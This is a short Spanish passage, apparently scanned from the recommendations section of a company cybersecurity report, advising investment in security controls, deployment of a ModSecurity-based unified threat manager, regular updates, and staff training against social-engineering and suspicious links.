vulnerabilidades en necesario que la compafia invierta tiempo y dinero en la
implementacion de diferentes controles; a razén de lo anterior se hace necesario
que se realice la implementacion del gestor unificado de amenazas (UTM)

modsecurity.

Es importante que se cree conciencia en los altos directivos y funcionarios de la
organizacion para que constantemente se realicen las actualizaciones de
seguridad en los equipos de computo y se capaciten en la detencion de campafas

de ingenieria social para evitar ser victimas de los ciberdelincuentes.

Asegurar que los funcionarios adopten medidas de prevencion y no ejecuten links
o descargar archivos de mensajes sospechosos y mantener la cultura de

seguridad.
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